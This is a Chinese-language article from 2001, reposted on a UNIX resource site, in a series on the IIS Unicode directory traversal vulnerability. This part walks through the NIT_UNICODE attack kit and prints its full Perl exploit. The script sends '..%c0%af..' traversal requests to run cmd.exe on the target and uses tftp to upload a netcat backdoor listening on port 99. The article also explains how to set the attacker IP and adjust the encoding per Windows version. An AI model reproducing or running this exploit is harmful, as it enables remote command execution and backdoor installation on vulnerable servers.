[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 其它 > 正文
UNICODE編碼漏洞全攻略-5
作者:badboy 壞男孩俱樂部 (2001-05-20 18:08:00)
 
badboy 壞男孩俱樂部 
這並不是什麼權威教材,只適合菜鳥了解win9x、NT存在的不安全面,切莫 
用此方法在國內做嘗試,如果你偏要如此,那麼由此引起的一切法律後果由 
你自己負責。 
本文只允許在網路任意轉載,但須保留文章的完整性,如把本文作經濟目 
的使用,或者未經本人許可進行印刷、光碟雜、等出版性質的行,本人 
將保留侵權控告的權利。 
 
五、網路裡可得到的一些UNICODE掃描程式的分析(續) 
3、攻擊型NIT_UNICODE軟體套裝 
下載地址http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip 
壓縮包裡含有以下文件︰ 
uni.pl -------掃描UNICODE編碼漏洞的主PERL程式 
uniexe.pl -----執行TFTP過程的PERL程式 
ncx99.exe -----一個把telnet埠設置在99的netcat木馬 
tftpd32.exe -----TFTP設置軟體 
tftpd32.hlp -----幫助文件 
flie_id.diz 
vendinfo.diz 
readme.file -----使用說明和例子 
該套裝程式主要利用unicode編碼漏洞,把ncx99.exe上傳到目標主機,並動,使攻擊 
者可以通過telnet 目標主機的99埠,登陸到目標主機上進行攻擊行。 
以下程式在使用時需要修改一些東西,找到 
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe"; 
這句,把xxx.xxx.xxx.xxx.xxx修改你的IP地址,然後存檔。 
這句主要是把NCX99.EXE從你的主機改名傳到目標主機c:\inetpub\scripts\去。 
另外還需要根據目標主機的NT版本,對程式裡的..%c0%af..做相應的修改,比如說 
目標主機是WIN2K就修改..%c1%1c.. 

#!/usr/bin/perl 
# This is for educational purpose's only! 
# WHO LET THEM DOGS OUT! 
# Use uni.pl first to see if this is a vulnerable server! 
# Based of the script unicodeexecute.pl from Roelof Temmngh 
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme 

use Socket; 

if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";} 
($host,$port)=split(/:/,@ARGV[0]); 
$target = inet_aton($host); 


$failed=1; 
$command="dir"; 
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n\cls"); 
foreach $line (@results){ 
if ($line =~ /nit.exe/) {$failed=0;} 

$failed2=1; 
if ($failed==1) { 

#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh! 
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe"; 
$command=~s/ /\%20/g; 
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n"); 
foreach $line2 (@results2){ 
if (($line2 =~ /nit.exe/ )) {$failed2=0;} 




$command=@ARGV[1]; 
print "\n 
Hit CTRL-C if this is Hanging"; 

$command=~s/ /\%20/g; 
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n"); 
print @results; 

# ------------- Sendraw - thanx RFP rfp@wiretrip.net 
sub sendraw { # this saves the whole transaction anyway 
my ($pstr)=@_; 
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) || 
die("Socket problems\n"); 
if(connect(S,pack "SnA4x8",2,$port,$target)){ 
my @in; 
select(S); $|=1; print $pstr; 
while(){ push @in, $_;} 
select(STDOUT); close(S); return @in; 
} else { die("Can't connect...\n"); } 


# NIT IN THE YEAR 2000
  (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★